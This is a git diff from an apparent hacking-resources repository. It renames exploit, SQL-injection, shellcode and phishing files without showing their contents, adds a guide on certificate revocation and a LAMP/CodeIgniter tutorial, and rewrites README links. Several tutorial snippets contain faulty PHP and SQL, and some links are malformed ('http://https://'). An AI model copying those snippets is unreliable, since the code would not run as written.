false +typeof myValue === "number"; // false +typeof myValue === "undefined"; // false +typeof myValue === "boolean"; // false + +// Using strict equality operator to check for null: +myValue === null; // false + +// Using jQuery's methods to check for non-primitive types: +jQuery.isFunction( myValue ); // false +jQuery.isPlainObject( myValue ); // false +jQuery.isArray( myValue ); // true +``` + +--- +Enjoy! This article was originally posted [here](https://coderwall.com/p/skucrq/javascript-crash-course). \ No newline at end of file diff --git a/Web_Security/OS_Command_Injection/README.md b/Web_Hacking/OS_Command_Injection/README.md similarity index 100% rename from Web_Security/OS_Command_Injection/README.md rename to Web_Hacking/OS_Command_Injection/README.md diff --git a/Web_Security/OS_Command_Injection/sqli_password_brute_force.py b/Web_Hacking/OS_Command_Injection/sqli_password_brute_force.py similarity index 100% rename from Web_Security/OS_Command_Injection/sqli_password_brute_force.py rename to Web_Hacking/OS_Command_Injection/sqli_password_brute_force.py diff --git a/Web_Security/PHP_shellcodes/phpprimer_v0.1.pdf b/Web_Hacking/PHP_shellcodes/phpprimer_v0.1.pdf similarity index 100% rename from Web_Security/PHP_shellcodes/phpprimer_v0.1.pdf rename to Web_Hacking/PHP_shellcodes/phpprimer_v0.1.pdf diff --git a/Web_Security/PHP_shellcodes/tricking_file_extension_gif.php b/Web_Hacking/PHP_shellcodes/tricking_file_extension_gif.php similarity index 100% rename from Web_Security/PHP_shellcodes/tricking_file_extension_gif.php rename to Web_Hacking/PHP_shellcodes/tricking_file_extension_gif.php diff --git a/Web_Security/PHP_shellcodes/xor.php b/Web_Hacking/PHP_shellcodes/xor.php similarity index 100% rename from Web_Security/PHP_shellcodes/xor.php rename to Web_Hacking/PHP_shellcodes/xor.php diff --git a/Web_Security/Phishing/README.md b/Web_Hacking/Phishing/README.md similarity index 100% rename from Web_Security/Phishing/README.md rename to Web_Hacking/Phishing/README.md diff --git a/Web_Security/Phishing/log.php b/Web_Hacking/Phishing/log.php similarity index 100% rename from Web_Security/Phishing/log.php rename to Web_Hacking/Phishing/log.php diff --git a/Web_Security/SQLi/CVE-2014-7289_exploit.py b/Web_Hacking/SQLi/CVE-2014-7289_exploit.py similarity index 100% rename from Web_Security/SQLi/CVE-2014-7289_exploit.py rename to Web_Hacking/SQLi/CVE-2014-7289_exploit.py diff --git a/Web_Security/SQLi/README.md b/Web_Hacking/SQLi/README.md similarity index 100% rename from Web_Security/SQLi/README.md rename to Web_Hacking/SQLi/README.md diff --git a/Web_Security/SQLi/sqli_16_brute_force_password.py b/Web_Hacking/SQLi/sqli_16_brute_force_password.py similarity index 100% rename from Web_Security/SQLi/sqli_16_brute_force_password.py rename to Web_Hacking/SQLi/sqli_16_brute_force_password.py diff --git a/Web_Security/SQLi/sqli_18_timed_SQLi.py b/Web_Hacking/SQLi/sqli_18_timed_SQLi.py similarity index 100% rename from Web_Security/SQLi/sqli_18_timed_SQLi.py rename to Web_Hacking/SQLi/sqli_18_timed_SQLi.py diff --git a/Web_Security/SQLi/sqli_COOKIE_brute.py b/Web_Hacking/SQLi/sqli_COOKIE_brute.py similarity index 100% rename from Web_Security/SQLi/sqli_COOKIE_brute.py rename to Web_Hacking/SQLi/sqli_COOKIE_brute.py diff --git a/Web_Security/Scanners/README.md b/Web_Hacking/Scanners/README.md similarity index 100% rename from Web_Security/Scanners/README.md rename to Web_Hacking/Scanners/README.md diff --git a/Web_Security/Scanners/heartbleed.py b/Web_Hacking/Scanners/heartbleed.py similarity index 100% rename from Web_Security/Scanners/heartbleed.py rename to Web_Hacking/Scanners/heartbleed.py diff --git a/Web_Hacking/guide_to_certs_and_cas.md b/Web_Hacking/guide_to_certs_and_cas.md new file mode 100644 index 0000000..4daebc0 --- /dev/null +++ b/Web_Hacking/guide_to_certs_and_cas.md @@ -0,0 +1,123 @@ +# On CRLs, OCSP, and a Short Review of Why Revocation Checking Doesn't Work (for Browsers) + +A guide about regulation details of **SSL/TLS connections**. These connections rely on a chain of trust. This chain of trust is established by **certificate authorities** (CAs), which serve as trust anchors to verify the validity of who a device thinks it is talking to. In technical terms, **X.509** is an [ITU-T](http://en.wikipedia.org/wiki/ITU-T) standard that specifies standard formats for things such as *public key certificates* and *certificate revocation lists*. + +A **public key certificate** is how websites bind their identity to a *public key* to allow an encrypted session (SSL/TLS) with the user. The certificate includes information about the key, the owner's *identity* (such as the DNS name), and the *digital signature* of the entity that issued the certificate (the [Certificate Authority](http://en.wikipedia.org/wiki/Certificate_authority), also known as CA). As a consequence, browsers and other [user-agents](http://en.wikipedia.org/wiki/User_agent) should always be able to check the authenticity of these certificates before proceeding. + +Some organizations need SSL/TLS simply for confidentiality (encryption), while other organizations use it to enhance trust in their security and identity. Therefore, CAs issue different certificates with different levels of verification, ranging from just confirming the control of the domain name (*Domain Validation*, DV) to more extensive identity checks (*Extended Validation*, EV). For instance, if a site's DNS gets hijacked, while the attacker could be able to issue a controlled DV, she wouldn't be able to issue new EV certificates just with domain validation. + +Since EV and DV certificates can be valid for years, they might lose their validity before they expire by age. For instance, the website can lose control of its key or, as recently in the event of the [Heartbleed bug](http://heartbleed.com/), a very large number of SSL/TLS websites needed to revoke and reissue their certificates. Therefore, the need for efficient revocation machinery is evident. + +For many years, two ways of revoking a certificate have prevailed: + +* by checking a **Certificate Revocation Lists** (CRLs), which are lists of serial numbers of certificates that have been revoked, provided by *each CA*. As one can imagine, they can become quite large. + +* by a communication protocol named **Online Certificate Status Protocol** (OCSP), which allows a system to check with a CA for the status of a single certificate without pulling the entire CRL. + + +While CRLs are long lists and OCSP only deals with a single certificate, they are both methods of getting signed statements about the status of a certificate; and they both present issues concerning privacy, integrity, and availability. In this post, I discuss some of these issues and I review possible alternatives. + + + +---- +## Broken Models + + + +### Certificate Revocation Lists (CRLs) + + +A CRL is a list of serial numbers (such as ```54:99:05:bd:ca:2a:ad:e3:82:21:95:d6:aa:ee:b6:5a```) of unexpired security certificates which have been revoked by their issuer and should not be trusted. + +Each CA maintains and publishes its own CRL. CRLs are in continuous changes: old certificates expire due to their age and serial numbers of newly revoked certificates are added. + +The main issue here is that the original *public key infrastructure* (PKI) scheme does not scale. Users all over the Internet are constantly checking for revocation and having to download files that can be many MB. In addition, although CRL can be cached, they are still very volatile, turning CAs into a major performance bottleneck on the Internet. + + + +### Online Certificate Status Protocol (OCSP) + +[OCSP was intended to replace the CRL system](https://tools.ietf.org/html/rfc2560), however, it presented several issues: + +* *Reliability*: Every time any user connects to any secured website, her browser must query the CA's OCSP server. The typical CA issues certificates for hundreds of thousands of individual websites and the checks can be up to seconds. Also, the CA's OCSP server might experience downtime! If a server is offline, overloaded, under attack, or unable to reply for any reason, certificate validity cannot be confirmed. + +* *Privacy*: CAs can learn the IP address of users and which websites they wish to securely visit. + +* *Security*: Browsers cannot be sure that a CA's server is reachable (*e.g.*, captive portals that require one to sign in on an HTTPS site, but blocks traffic to all other sites, including CA's OCSP servers). + + +One attempt to circumvent the lack of assurance of a server's reliability was issuing OCSP checks with a **soft-fail** option. In this case, online revocation checks which result in a *network error would be ignored*. + +This brings serious issues. A simple example is when an [attacker can intercept HTTPS traffic and make online revocation checks appear to fail, bypassing OCSP checks](http://www.thoughtcrime.org/papers/ocsp-attack.pdf). + +On the flip side, it's also not a good idea to enforce a **hard-fail** check: OCSP servers are pretty flaky/slow and you do not want to rely on their capabilities (DDoS attackers would love this though). + + + +---- +## Some Light in a Solution + +There are several attempts of a solution for the revocation problem but none of them has been regarded as the definitive one. Here some of them: + +### CRLSets + + +Google Chrome uses [**CRLSets**](https://dev.chromium.org/Home/chromium-security/crlsets) in its update mechanism to send lists of serial numbers of revoked certificates which are constantly added by crawling the CAs. + +This method brings more performance and reliability to the browser and, in addition, [CRLSet updates occur at least daily](https://www.imperialviolet.org/2014/04/19/revchecking.html), which is faster than most OCSP validity periods. + +A complementary initiative from Google is the [Certificate Transparency](http://www.certificate-transparency.org/what-is-ct) project. The objective is to help with structural flaws in the SSL certificate system such as domain validation, end-to-end encryption, and the chains of trust set up by CAs. + + + + +### OCSP stapling + + +**OCSP Stapling** ([TLS Certificate Status Request extension](http://tools.ietf.org/html/draft-hallambaker-tlssecuritypolicy-03)) is an alternative approach for checking the revocation status of certificates. It allows the presenter of a certificate to bear the resource cost involved in providing OCSP responses, instead of the CA, in a fashion reminiscent of the [Kerberos Ticket](http://en.wikipedia.org/wiki/Kerberos_(protocol)). + +In a simple example, the certificate holder is the one who periodically queries the OCSP server, obtaining a *signed time-stamped OCSP response*. When users attempt to connect to the website, the response is signed with the SSL/TLS handshake via the Certificate Status Request extension response. Since the stapled response is signed by the CA, it cannot be forged (without the CA's signing key). + +If the stapled OCSP has the [Must Staple](http://tools.ietf.org/html/draft-hallambaker-muststaple-00) capability, it becomes hard-fail if a valid OCSP response is not stapled. To make a browser know this option, one can add a "must staple" assertion to the site's security certificate and/or create a new HTTP response header similar to [HSTS](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security). + +Some fixable issue is that OCSP stapling supports only one response at a time. This is insufficient for sites that use several different certificates for a single page. Nevertheless, OCSP stapling is the most promising solution for the problem for now. The idea has been implemented by the servers for years, and recently, a [few browsers are adopting it](https://blog.mozilla.org/security/2013/07/29/ocsp-stapling-in-firefox/). If this solution is going to become mainstream, only time will show. + + +----- + +**tl;dr:** The security of the Internet depends on the agent's ability to revoke compromised certificates, but the status quo is broken. There is a urgent need for rethinking the way things have been done! + +----- + +**Edited, 11/19/2014:** The **EFF** just announced an attempt to help the CA problem: [Let's Encrypt](https://www.eff.org/deeplinks/2014/11/certificate-authority-encrypt-entire-web), "a new certificate authority (CA) initiative that aims to clear the remaining roadblocks to transition the Web from HTTP to HTTPS". The initiative is planned to be released in 2015. These are good news, but it is still not clear whether they are going to address the revocation problem with new solutions. + + + + +---- + +### References: + +[Imperial Violet: Revocation Doesn't work](https://www.imperialviolet.org/2011/03/18/revocation.html) + +[Imperial Violet: Don't Enable Revocation Checking](https://www.imperialviolet.org/2014/04/19/revchecking.html) + +[Imperial Violet: Revocation Still Doesn't Work](https://www.imperialviolet.org/2014/04/29/revocationagain.html) + +[Proxy server for testing revocation](https://gist.github.com/agl/876829) + +[Revocation checking and Chrome's CRL](https://www.imperialviolet.org/2012/02/05/crlsets.html) + +[Discussion about OCSP checking at Chrome](https://code.google.com/p/chromium/issues/detail?id=361820) + +[RFC Transport Layer Security (TLS) Channel IDs](http://tools.ietf.org/html/draft-balfanz-tls-channelid-00) + +[Fixing Revocation for Web Browsers, iSEC Partners](https://www.isecpartners.com/media/17919/revocation-whitepaper_pdf__2_.pdf) + +[Proposal for Better Revocation Model of SSL Certificates](https://wiki.mozilla.org/images/e/e3/SSLcertRevocation.pdf) + + + +[SSL Server Test](https://www.ssllabs.com/ssltest/) + +[SSL Certificate Checker](https://www.digicert.com/help/) diff --git a/Web_Hacking/intro_to_LAMP.md b/Web_Hacking/intro_to_LAMP.md new file mode 100644 index 0000000..36b442b --- /dev/null +++ b/Web_Hacking/intro_to_LAMP.md @@ -0,0 +1,260 @@ +# Getting started with LAMP and CodeIgniter + + +LAMP is an acronym for a model of web service solution stacks: Linux, the Apache HTTP Server, the MySQL relational database management system, and the PHP programming language. + +## Building a MySQL Database + +We will use a web interface to access data in our database: + +* Login with your root login/password (set in the installation above): ```http://localhost/phpmyadmin```. +The left-hand column contains a list of all of the databases you currently have. + + - mysql: contains information about the MySQL database server. + - information_schema: contains information about all of the other databases on your computer. + +* In the Databases interface you are presented with a list of all of the databases. +* Above that list there should be a form labeled “Create new database” with a text field. +* Create tables within. Chose the types of your data. Every table should always have an id column (auto-incrementing integer, meaning that each new record will be automatically assigned an id value, starting at 1). You can do this by selecting A_I checkbox. +* Add some data (using insert). The database is located at +```/var/lib/mysql```. + +### MySQL Query Basis + +Selecting items: +``` +Retrieve all of the records (* means columns): +SELECT * FROM db_name; +Select only some columns: +SELECT col1, col2 FROM db_name; +Select only some values from some column: +SELECT * FROM db_name WHERE col1 = 'item'; +Select the first 10 items: +SELECT * FROM cars WHERE make = 'Porsche' LIMIT 10 +``` + +Inserting an item: +``` +INSERT INTO db_name (col1, col2, col3) VALUES ('item1', 'item2', 'item3') +``` + +Updating an item: +``` +UPDATE db_name SET col1 = 'item' WHERE col2 = 'item2' AND col3='item3' +``` + +Deleting items: +``` +DELETE db_name WHERE col1 = item" +``` + +## PHP Basics + +Variables: + +``` +<? php +$result = 4*8; +?> +Comments with / or ./* */. +Print function: +<? php +echo "that's a print"; +?> +``` + +Functions: +``` +<? php +function print_this($name){ + echo 'Print this ' . $name . '.'; + return 'nice printing'; +} +extra_print = print_this('aaaaa'); +print(extra_print); +?> +``` + +When a PHP file is accessed, all of its functions are initialized before any of the other lines of code are executed. As long as a function is defined in the same file, it can be called from anywhere within that file. + +The scope of a variable refers to the domain within which it can be referenced. In PHP, any variables initialized and contained within a function itself are only available within that function. + +### Arrays + +Creating an empty array: + +``` +<? php $new_array = array(); ?> +``` + +Adding elements: +``` +<? php $new_array[] = 1; $new_array[] = 5; ?> +``` + +Creating an array with values already: +``` +<? php $other_array = array(1,2,3); ?> +``` + +In PHP, arrays are like dictionaries:. If you add item likes above, it will increment from 0. You can also give the key: +``` +<? php $dictionary['dog'] = 1; ?> echo $dictionary['dog']; +``` + +Multi-arrays: + +``` +$cars = array + ( + array("Volvo",22,18), + array("BMW",15,13), + array("Saab",5,2), + array("Land Rover",17,15) + ); +``` + +Loop foreach: + +``` +<? php +foreach ($array_number as $variable_representing_current_item){ +} +?> +``` + +Loop for: +``` +<? +$other_array = [] +for ($i; $i<4; $i++){ +$other_array[] = $i; +} ?> +``` + +## The Model-View-Controller Pattern (MVC) + +In a high level, the flow of a web app is: + +* User request to view a certain page by typing a URL in the browser. +* The app determines what needs to be displayed. +* The data required for the page is requested and retrieved from the database. +* The resulting data is used to render the page's display to the user. +* The MVC structure is based on the presence of 3 main components: models, views, and controllers. + +### Models: Representing the Data Object + +Responsible for communicating with the database. Composed of two parts: + +* fields: Responsible for representing the various pieces of data within an object (the information within the database). +* methods: Provide extra functionality within our models. Allow the manipulation of the model's initial information or perform additional actions related to the data. + +### Controllers: Workhorses + +Determine what objects to retrieve and how to organize them. + +Handle user request, retrieve proper information, and pass it to the proper view. + +Different request is handled by different controller actions. + +### Views: What the User Sees + +Responsible for the presentation layer, the actual visual display. + +Each individual page within a web app has its own view. +Views contain HTML code and PHP (if this is the backend language) to inject objects' information, passed to the view via a controller. + +A simplified version of Facebook profile view: +``` +<section id="personal_info"> <?php // some code ?> </section> <section id="photos"> <?php // some code ?> </section> +``` + +## Frameworks + +The basis/foundation of your web app. + +For PHP, we can download CodeIgniter, rename to our project name, copy it to the /var/www folder, and open it in the localhost/folder. We can modify the files for our app now. + +If you get the 403 forbidden error, check the permissions and then type: +``` +restorecon -r /var/www/html +``` +(restorecon is used to reset the security context (type) (extended attributes) on one or more files). + +The user guide can be seen at +```http://localhost/APP_NAME/user_guide/``` + +### CodeIgniter Basics + +The system folder contains all of the inner-working. +The application folder is where all the code specific to our app will live, include models, controllers, and view. + +Controllers (```application/controllers/welcome.php```) +The welcome class is inherent from the CI_Controller class. + +An index refers to a main/default location. +The index action is responsible for loading the view that renders the welcome message: +public function index() { $this->load->view('welcome_message'); } +In the case of controllers, each action is frequently associated with a URL. + +The ```'welcomemessage'``` view is at ```applications/views/welcomemessage.php```. + +### Routes + +The way that our web app knows where to direct our users, based on the URLs they enter, is by establishing routes. Routes are a mapping between URLs and specific controller actions. + +We can configure routes at ```application/config/routes.php```: +``` +$route['desired-url-fragment'] = "controller-name/action-name”; +``` +Some routes work automatically: you can reference any controller action using the following URL format: +```http://localhost/APP_NAME/index.php/[controller-name]/[action-name]``` + +For example: +```http://localhost/APP_NAME/index.php/welcome/index/``` + +### Configuring our app to use the Database + +CI has built-in support for interacting with a database. +In our application, the database configuration file is store at application/config/database.php + +To connect our app to the MySQL database, update this file to: + +``` +$db['default']['hostname'] = 'localhost'; +$db['default']['username'] = 'root'; +$db['default']['password'] = '<your-root-password>'; +$db['default']['database'] = '<database-name-from-before'; +``` + +To have access to the database functionality throughout the entire web app, auto-load the database library by changing the file ```application/config/autoload.php``` with: +``` +$autoload['libraries'] = array('template', 'database'); $autoload['libraries'] = array('database'); +Check if the page is still working fine +($autoload['libraries'] = array('template', 'database'); does not work yet). +``` + +### Models + +Each model starts the same, as they intend to serve the same general function. + +We create a new file in application/models folder named todomodel.php with the code: +``` +<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); +class Todomodel extends CIModel { +function _construct() { +parent::_construct(); +} +``` + +The second responsibility of models is to interact with our database. We need to implement a way for our todomodel to retrieve all of the todos in our database. We add a getallentries function bellow the constructor: +``` +function get_all_entries() { //$query = $this->db->get('todos'); $query = $this->db->order_by('order','ASC')->get('todos'); $results = array(); foreach ($query->result() as $result) { $results[] = $result; } return $results; } +``` + +In this snippet, we query our database by order, using ascending order. + + +--- +Enjoy! This article was originally posted [here](https://coderwall.com/p/5ltrxq/lamp-and-codeigniter). + diff --git a/Web_Security/urllib2/README.md b/Web_Hacking/urllib2/README.md similarity index 96% rename from Web_Security/urllib2/README.md rename to Web_Hacking/urllib2/README.md index a263024..f63137d 100644 --- a/Web_Security/urllib2/README.md +++ b/Web_Hacking/urllib2/README.md @@ -1,6 +1,6 @@ # Hacking the Web with Python's urllib2 (by bt3) -Python's [urllib2](https://docs.python.org/2/library/urllib2.html) library is **the tool** to interact with web services, with several functions and classes to help handling URLs. **urllib2** is written in the top of [httplib](https://docs.python.org/2/library/httplib.html) library (which defines classes to implement the client side of HTTP and HTTPs). In turn, **httplib** uses the [socket](http://bt3gl.github.io/black-hat-python-networking-the-socket-module.html) library. +Python's [urllib2](https://docs.python.org/2/library/urllib2.html) library is **the tool** to interact with web services, with several functions and classes to help handling URLs. **urllib2** is written in the top of [httplib](https://docs.python.org/2/library/httplib.html) library (which defines classes to implement the client side of HTTP and HTTPs). In turn, **httplib** uses the [socket](http://https://singularity-sh.vercel.app/black-hat-python-networking-the-socket-module.html) library. In this post I [introduce urllib2](#intro) and then I work on two problems: [mapping webapps from their installation files](#map) and [brute-forcing the contents of webapps to find hidden resources](#brute1). @@ -25,7 +25,7 @@ Let's see how a simple [GET](http://www.w3schools.com/tags/ref_httpmethods.asp) <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including (...) ``` -Notice that, differently from modules such as [scapy](http://bt3gl.github.io/black-hat-python-infinite-possibilities-with-the-scapy-module.html) or [socket](http://bt3gl.github.io/black-hat-python-the-socket-module.html), we *need to specify the protocol* in the URL (HTTP). +Notice that, differently from modules such as [scapy](http://https://singularity-sh.vercel.app/black-hat-python-infinite-possibilities-with-the-scapy-module.html) or [socket](http://https://singularity-sh.vercel.app/black-hat-python-the-socket-module.html), we *need to specify the protocol* in the URL (HTTP). Now, let's be fancy and customize the output: @@ -435,7 +435,7 @@ In the same way as before, we can achieve a reasonable speed by creating pool of The steps of our script are: -1) We define the target, the number of threads, the path for the wordlist (which I made available [here](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Other_Hackings/useful_lists/files_and_dir_lists)), a rogue User-Agent, and the filter list of extensions that we want to look at: +1) We define the target, the number of threads, the path for the wordlist (which I made available [here](https://github.com/go-outside-labs/My-Gray-Hacker-Resources/tree/master/Other_Hackings/useful_lists/files_and_dir_lists)), a rogue User-Agent, and the filter list of extensions that we want to look at: ```python import urllib2 diff --git a/Web_Security/urllib2/brute_forcing_form_auth.py b/Web_Hacking/urllib2/brute_forcing_form_auth.py similarity index 100% rename from Web_Security/urllib2/brute_forcing_form_auth.py rename to Web_Hacking/urllib2/brute_forcing_form_auth.py diff --git a/Web_Security/urllib2/brute_forcing_locations.py b/Web_Hacking/urllib2/brute_forcing_locations.py similarity index 100% rename from Web_Security/urllib2/brute_forcing_locations.py rename to Web_Hacking/urllib2/brute_forcing_locations.py diff --git a/Web_Security/urllib2/mapping_web_app_install.py b/Web_Hacking/urllib2/mapping_web_app_install.py similarity index 100% rename from Web_Security/urllib2/mapping_web_app_install.py rename to Web_Hacking/urllib2/mapping_web_app_install.py diff --git a/Web_Security/urllib2/simple_http_requests.py b/Web_Hacking/urllib2/simple_http_requests.py similarity index 100% rename from Web_Security/urllib2/simple_http_requests.py rename to Web_Hacking/urllib2/simple_http_requests.py diff --git a/Web_Security/user_id/sqli_19_cookie_auth.py b/Web_Hacking/user_id/sqli_19_cookie_auth.py similarity index 100% rename from Web_Security/user_id/sqli_19_cookie_auth.py rename to Web_Hacking/user_id/sqli_19_cookie_auth.py diff --git a/Web_Security/user_id/sqli_20_user_id_2.py b/Web_Hacking/user_id/sqli_20_user_id_2.py similarity index 100% rename from Web_Security/user_id/sqli_20_user_id_2.py rename to Web_Hacking/user_id/sqli_20_user_id_2.py diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index e03f647..0000000 --- a/requirements.txt +++ /dev/null @@ -1,30 +0,0 @@ -Flask==0.10.1 -GeoIP-Python==1.2.8 -SQLAlchemy==0.9.7 -SSSDConfig==1.11.7 -bpython==0.13.1 -coverage==3.7.1 -crypto==1.1.0 -curtsies==0.0.34 -github3.py==0.9.3 -graphviz==0.4.2 -ipython==0.13.2 -matplotlib==1.3.1 -netaddr==0.7.12 -nose==1.3.0 -ntplib==0.3.1 -numpy==1.8.2 -paramiko==1.15.1 -py==1.4.22 -pyOpenSSL==0.13.1 -pycrypto==2.6.1 -pycurl==7.19.3 -pytest==2.6.0 -python-libtorrent==0.16.11 -requests==2.3.0 -rsa==3.1.4 -scapy== 2.4.0 -scikit-learn==0.14.1 -scipy==0.12.1 -tornado==2.2.1 -uncompyle2==1.1